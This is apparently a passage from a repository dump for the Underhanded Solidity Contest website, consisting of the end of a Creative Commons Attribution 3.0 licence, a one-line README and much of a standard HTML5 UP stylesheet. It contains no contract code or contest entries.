5. "Original Author" means, in the case of a literary or artistic work, the individual, individuals, entity or entities who created the Work or if no individual or entity can be identified, the publisher; and in addition (i) in the case of a performance the actors, singers, musicians, dancers, and other persons who act, sing, deliver, declaim, play in, interpret or otherwise perform literary or artistic works or expressions of folklore; (ii) in the case of a phonogram the producer being the person or legal entity who first fixes the sounds of a performance or other sounds; and, (iii) in the case of broadcasts, the organization that transmits the broadcast.
6. "Work" means the literary and/or artistic work offered under the terms of this License including without limitation any production in the literary, scientific and artistic domain, whatever may be the mode or form of its expression including digital form, such as a book, pamphlet and other writing; a lecture, address, sermon or other work of the same nature; a dramatic or dramatico-musical work; a choreographic work or entertainment in dumb show; a musical composition with or without words; a cinematographic work to which are assimilated works expressed by a process analogous to cinematography; a work of drawing, painting, architecture, sculpture, engraving or lithography; a photographic work to which are assimilated works expressed by a process analogous to photography; a work of applied art; an illustration, map, plan, sketch or three-dimensional work relative to geography, topography, architecture or science; a performance; a broadcast; a phonogram; a compilation of data to the extent it is protected as a copyrightable work; or a work performed by a variety or circus performer to the extent it is not otherwise considered a literary or artistic work.
7. "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
8. "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
9. "Reproduce" means to make copies of the Work by any means including without limitation by sound or visual recordings and the right of fixation and reproducing fixations of the Work, including storage of a protected performance or phonogram in digital form or other electronic medium.
2. Fair Dealing Rights. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright or rights arising from limitations or exceptions that are provided for in connection with the copyright protection under copyright law or other applicable laws.
3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:
1. to Reproduce the Work, to incorporate the Work into one or more Collections, and to Reproduce the Work as incorporated in the Collections;
2. to create and Reproduce Adaptations provided that any such Adaptation, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked "The original work was translated from English to Spanish," or a modification could indicate "The original work has been modified.";
3. to Distribute and Publicly Perform the Work including as incorporated in Collections; and,
4. to Distribute and Publicly Perform Adaptations.
5.
For the avoidance of doubt:
1. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
2. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor waives the exclusive right to collect such royalties for any exercise by You of the rights granted under this License; and,
3. Voluntary License Schemes. The Licensor waives the right to collect royalties, whether individually or, in the event that the Licensor is a member of a collecting society that administers voluntary licensing schemes, via that society, from any exercise by You of the rights granted under this License.
The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. Subject to Section 8(f), all rights not expressly granted by Licensor are hereby reserved.
4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
1. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from any Licensor You must, to the extent practicable, remove from the Collection any credit as required by Section 4(b), as requested. If You create an Adaptation, upon notice from any Licensor You must, to the extent practicable, remove from the Adaptation any credit as required by Section 4(b), as requested.
2. If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or if the Original Author and/or Licensor designate another party or parties (e.g., a sponsor institute, publishing entity, journal) for attribution ("Attribution Parties") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and (iv) , consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). The credit required by this Section 4 (b) may be implemented in any reasonable manner; provided, however, that in the case of a Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributing authors of the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.
3. Except as otherwise agreed in writing by the Licensor or as may be otherwise permitted by applicable law, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the Original Author's honor or reputation. Licensor agrees that in those jurisdictions (e.g. Japan), in which any exercise of the right granted in Section 3(b) of this License (the right to make Adaptations) would be deemed to be a distortion, mutilation, modification or other derogatory action prejudicial to the Original Author's honor and reputation, the Licensor will waive or not assert, as appropriate, this Section, to the fullest extent permitted by the applicable national law, to enable You to reasonably exercise Your right under Section 3(b) of this License (right to make Adaptations) but not otherwise.
5. Representations, Warranties and Disclaimer
UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.
6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
7. Termination
1. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.
2. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
8. Miscellaneous
1. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
2. Each time You Distribute or Publicly Perform an Adaptation, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
3. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
4. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
5. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
6. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). These rights and subject matter take effect in the relevant jurisdiction in which the License terms are sought to be enforced according to the corresponding provisions of the implementation of those treaty provisions in the applicable national law. If the standard suite of rights granted under applicable copyright law includes additional rights not granted under this License, such additional rights are deemed to be included in the License; this License is not intended to restrict the license of any rights under applicable law.
================================================
FILE: 2020/README.md
================================================
# solidity-underhanded-contest
Website and resources for the Underhanded Solidity Contest.
================================================
FILE: 2020/assets/css/main.css
================================================
@import url(fontawesome-all.min.css);
/*
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
*/
html, body, div, span, applet, object,
iframe, h1, h2, h3, h4, h5, h6, p, blockquote,
pre, a, abbr, acronym, address, big, cite,
code, del, dfn, em, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var, b,
u, i, center, dl, dt, dd, ol, ul, li, fieldset,
form, label, legend, table, caption, tbody,
tfoot, thead, tr, th, td, article, aside,
canvas, details, embed, figure, figcaption,
footer, header, hgroup, menu, nav, output, ruby,
section, summary, time, mark, audio, video {
margin: 0;
padding: 0;
border: 0;
font-size: 100%;
font: inherit;
vertical-align: baseline;}
article, aside, details, figcaption, figure,
footer, header, hgroup, menu, nav, section {
display: block;}
body {
line-height: 1;
}
ol, ul {
list-style: none;
}
blockquote, q {
quotes: none;
}
blockquote:before, blockquote:after, q:before, q:after {
content: '';
content: none;
}
table {
border-collapse: collapse;
border-spacing: 0;
}
body {
-webkit-text-size-adjust: none;
}
mark {
background-color: transparent;
color: inherit;
}
input::-moz-focus-inner {
border: 0;
padding: 0;
}
input, select, textarea {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
}
/* Basic */
@-ms-viewport {
width: device-width;
}
body {
-ms-overflow-style: scrollbar;
}
@media screen and (max-width: 480px) {
html, body {
min-width: 320px;
}
}
html {
box-sizing: border-box;
}
*, *:before, *:after {
box-sizing: inherit;
}
body {
background: #111111;
}
body.is-preload *, body.is-preload *:before, body.is-preload *:after {
-moz-animation: none !important;
-webkit-animation: none !important;
-ms-animation: none !important;
animation: none !important;
-moz-transition: none !important;
-webkit-transition: none !important;
-ms-transition: none !important;
transition: none !important;
}
/* Type */
body, input, select, textarea {
color:#111111;
font-family: 'Share Tech Mono', monospace;
font-size: 16.5pt;
font-weight: normal;
line-height: 1.75;
}
@media screen and (max-width: 1680px) {
body, input, select, textarea {
font-size: 13pt;
}
}
@media screen and (max-width: 1280px) {
body, input, select, textarea {
font-size: 12pt;
}
}
@media screen and (max-width: 360px) {
body, input, select, textarea {
font-size: 11pt;
}
}
a {
-moz-transition: color 0.2s ease, border-bottom-color 0.2s ease;
-webkit-transition: color 0.2s ease, border-bottom-color 0.2s ease;
-ms-transition: color 0.2s ease, border-bottom-color 0.2s ease;
transition: color 0.2s ease, border-bottom-color 0.2s ease;
border-bottom: dotted 1px rgba(255, 255, 255, 0.35);
color: inherit;
text-decoration: none;
}
a:hover {
border-bottom-color: transparent;
color: #ffffff;
}
strong, b {
color: #ffffff;
font-weight: bold;
}
em, i {
font-style: italic;
}
p {
margin: 0 0 2em 0;
}
h1 {
color: #ffffff;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h2 {
color: #111111;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h3 {
color: #e5e5e5;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h4, h5, h6 {
color: #111111;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h1 a, h2 a, h3 a, h4 a, h5 a, h6 a {
color: inherit;
text-decoration: none;
}
h1 {
font-size: 2.75em;
}
h1.major {
margin: 0 0 1.3em 0;
position: relative;
padding-bottom: 0.35em;
}
h1.major:after {
background-image: -moz-linear-gradient(to right, #5e42a6, #b74e91);
background-image: -webkit-linear-gradient(to right, #5e42a6, #b74e91);
background-image: -ms-linear-gradient(to right, #5e42a6, #b74e91);
background-image: linear-gradient(to right, #5e42a6, #b74e91);
-moz-transition: max-width 0.2s ease;
-webkit-transition: max-width 0.2s ease;
-ms-transition: max-width 0.2s ease;
transition: max-width 0.2s ease;
border-radius: 0.2em;
bottom: 0;
content: '';
height: 0.05em;
position: absolute;
right: 0;
width: 100%;
}
h2 {
font-size: 1.75em;
}
h3 {
font-size: 1.1em;
}
h4 {
font-size: 1.1em;
}
h5 {
font-size: 0.8em;
}
h6 {
font-size: 0.6em;
}
@media screen and (max-width: 736px) {
h1 {
font-size: 2em;
}
h2 {
font-size: 1.25em;
}
h3 {
font-size: 1em;
}
h4 {
font-size: 0.8em;
}
h5 {
font-size: 0.6em;
}
h6 {
font-size: 0.6em;
}
}
sub {
font-size: 0.8em;
position: relative;
top: 0.5em;
}
sup {
font-size: 0.8em;
position: relative;
top: -0.5em;
}
blockquote {
border-left: solid 4px rgba(255, 255, 255, 0.15);
font-style: italic;
margin: 0 0 2em 0;
padding: 0.5em 0 0.5em 2em;
}
code {
background: rgba(255, 255, 255, 0.05);
border-radius: 0.25em;
border: solid 1px rgba(255, 255, 255, 0.15);
font-family: "Courier New", monospace;
font-size: 0.9em;
margin: 0 0.25em;
padding: 0.25em 0.65em;
}
pre {
-webkit-overflow-scrolling: touch;
font-family: "Courier New", monospace;
font-size: 0.9em;
margin: 0 0 2em 0;
}
pre code {
display: block;
line-height: 1.75em;
padding: 1em 1.5em;
overflow-x: auto;
}
hr {
border: 0;
border-bottom: solid 1px rgba(255, 255, 255, 0.15);
margin: 2em 0;
}
hr.major {
margin: 3em 0;
}
.align-left {
text-align: left;
}
.align-center {
text-align: center;
}
.align-right {
text-align: right;
}
/* Row */
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp {
order: -1;
}
.row > .col-1 {
width: 8.33333%;
}
.row > .off-1 {
margin-left: 8.33333%;
}
.row > .col-2 {
width: 16.66667%;
}
.row > .off-2 {
margin-left: 16.66667%;
}
.row > .col-3 {
width: 25%;
}
.row > .off-3 {
margin-left: 25%;
}
.row > .col-4 {
width: 33.33333%;
}
.row > .off-4 {
margin-left: 33.33333%;
}
.row > .col-5 {
width: 41.66667%;
}
.row > .off-5 {
margin-left: 41.66667%;
}
.row > .col-6 {
width: 50%;
}
.row > .off-6 {
margin-left: 50%;
}
.row > .col-7 {
width: 58.33333%;
}
.row > .off-7 {
margin-left: 58.33333%;
}
.row > .col-8 {
width: 66.66667%;
}
.row > .off-8 {
margin-left: 66.66667%;
}
.row > .col-9 {
width: 75%;
}
.row > .off-9 {
margin-left: 75%;
}
.row > .col-10 {
width: 83.33333%;
}
.row > .off-10 {
margin-left: 83.33333%;
}
.row > .col-11 {
width: 91.66667%;
}
.row > .off-11 {
margin-left: 91.66667%;
}
.row > .col-12 {
width: 100%;
}
.row > .off-12 {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
@media screen and (max-width: 1680px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-xlarge {
order: -1;
}
.row > .col-1-xlarge {
width: 8.33333%;
}
.row > .off-1-xlarge {
margin-left: 8.33333%;
}
.row > .col-2-xlarge {
width: 16.66667%;
}
.row > .off-2-xlarge {
margin-left: 16.66667%;
}
.row > .col-3-xlarge {
width: 25%;
}
.row > .off-3-xlarge {
margin-left: 25%;
}
.row > .col-4-xlarge {
width: 33.33333%;
}
.row > .off-4-xlarge {
margin-left: 33.33333%;
}
.row > .col-5-xlarge {
width: 41.66667%;
}
.row > .off-5-xlarge {
margin-left: 41.66667%;
}
.row > .col-6-xlarge {
width: 50%;
}
.row > .off-6-xlarge {
margin-left: 50%;
}
.row > .col-7-xlarge {
width: 58.33333%;
}
.row > .off-7-xlarge {
margin-left: 58.33333%;
}
.row > .col-8-xlarge {
width: 66.66667%;
}
.row > .off-8-xlarge {
margin-left: 66.66667%;
}
.row > .col-9-xlarge {
width: 75%;
}
.row > .off-9-xlarge {
margin-left: 75%;
}
.row > .col-10-xlarge {
width: 83.33333%;
}
.row > .off-10-xlarge {
margin-left: 83.33333%;
}
.row > .col-11-xlarge {
width: 91.66667%;
}
.row > .off-11-xlarge {
margin-left: 91.66667%;
}
.row > .col-12-xlarge {
width: 100%;
}
.row > .off-12-xlarge {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 1280px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-large {
order: -1;
}
.row > .col-1-large {
width: 8.33333%;
}
.row > .off-1-large {
margin-left: 8.33333%;
}
.row > .col-2-large {
width: 16.66667%;
}
.row > .off-2-large {
margin-left: 16.66667%;
}
.row > .col-3-large {
width: 25%;
}
.row > .off-3-large {
margin-left: 25%;
}
.row > .col-4-large {
width: 33.33333%;
}
.row > .off-4-large {
margin-left: 33.33333%;
}
.row > .col-5-large {
width: 41.66667%;
}
.row > .off-5-large {
margin-left: 41.66667%;
}
.row > .col-6-large {
width: 50%;
}
.row > .off-6-large {
margin-left: 50%;
}
.row > .col-7-large {
width: 58.33333%;
}
.row > .off-7-large {
margin-left: 58.33333%;
}
.row > .col-8-large {
width: 66.66667%;
}
.row > .off-8-large {
margin-left: 66.66667%;
}
.row > .col-9-large {
width: 75%;
}
.row > .off-9-large {
margin-left: 75%;
}
.row > .col-10-large {
width: 83.33333%;
}
.row > .off-10-large {
margin-left: 83.33333%;
}
.row > .col-11-large {
width: 91.66667%;
}
.row > .off-11-large {
margin-left: 91.66667%;
}
.row > .col-12-large {
width: 100%;
}
.row > .off-12-large {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 980px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-medium {
order: -1;
}
.row > .col-1-medium {
width: 8.33333%;
}
.row > .off-1-medium {
margin-left: 8.33333%;
}
.row > .col-2-medium {
width: 16.66667%;
}
.row > .off-2-medium {
margin-left: 16.66667%;
}
.row > .col-3-medium {
width: 25%;
}
.row > .off-3-medium {
margin-left: 25%;
}
.row > .col-4-medium {
width: 33.33333%;
}
.row > .off-4-medium {
margin-left: 33.33333%;
}
.row > .col-5-medium {
width: 41.66667%;
}
.row > .off-5-medium {
margin-left: 41.66667%;
}
.row > .col-6-medium {
width: 50%;
}
.row > .off-6-medium {
margin-left: 50%;
}
.row > .col-7-medium {
width: 58.33333%;
}
.row > .off-7-medium {
margin-left: 58.33333%;
}
.row > .col-8-medium {
width: 66.66667%;
}
.row > .off-8-medium {
margin-left: 66.66667%;
}
.row > .col-9-medium {
width: 75%;
}
.row > .off-9-medium {
margin-left: 75%;
}
.row > .col-10-medium {
width: 83.33333%;
}
.row > .off-10-medium {
margin-left: 83.33333%;
}
.row > .col-11-medium {
width: 91.66667%;
}
.row > .off-11-medium {
margin-left: 91.66667%;
}
.row > .col-12-medium {
width: 100%;
}
.row > .off-12-medium {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 736px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-small {
order: -1;
}
.row > .col-1-small {
width: 8.33333%;
}
.row > .off-1-small {
margin-left: 8.33333%;
}
.row > .col-2-small {
width: 16.66667%;
}
.row > .off-2-small {
margin-left: 16.66667%;
}
.row > .col-3-small {
width: 25%;
}
.row > .off-3-small {
margin-left: 25%;
}
.row > .col-4-small {
width: 33.33333%;
}
.row > .off-4-small {
margin-left: 33.33333%;
}
.row > .col-5-small {
width: 41.66667%;
}
.row > .off-5-small {
margin-left: 41.66667%;
}
.row > .col-6-small {
width: 50%;
}
.row > .off-6-small {
margin-left: 50%;
}
.row > .col-7-small {
width: 58.33333%;
}
.row > .off-7-small {
margin-left: 58.33333%;
}
.row > .col-8-small {
width: 66.66667%;
}
.row > .off-8-small {
margin-left: 66.66667%;
}
.row > .col-9-small {
width: 75%;
}
.row > .off-9-small {
margin-left: 75%;
}
.row > .col-10-small {
width: 83.33333%;
}
.row > .off-10-small {
margin-left: 83.33333%;
}
.row > .col-11-small {
width: 91.66667%;
}
.row > .off-11-small {
margin-left: 91.66667%;
}
.row > .col-12-small {
width: 100%;
}
.row > .off-12-small {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
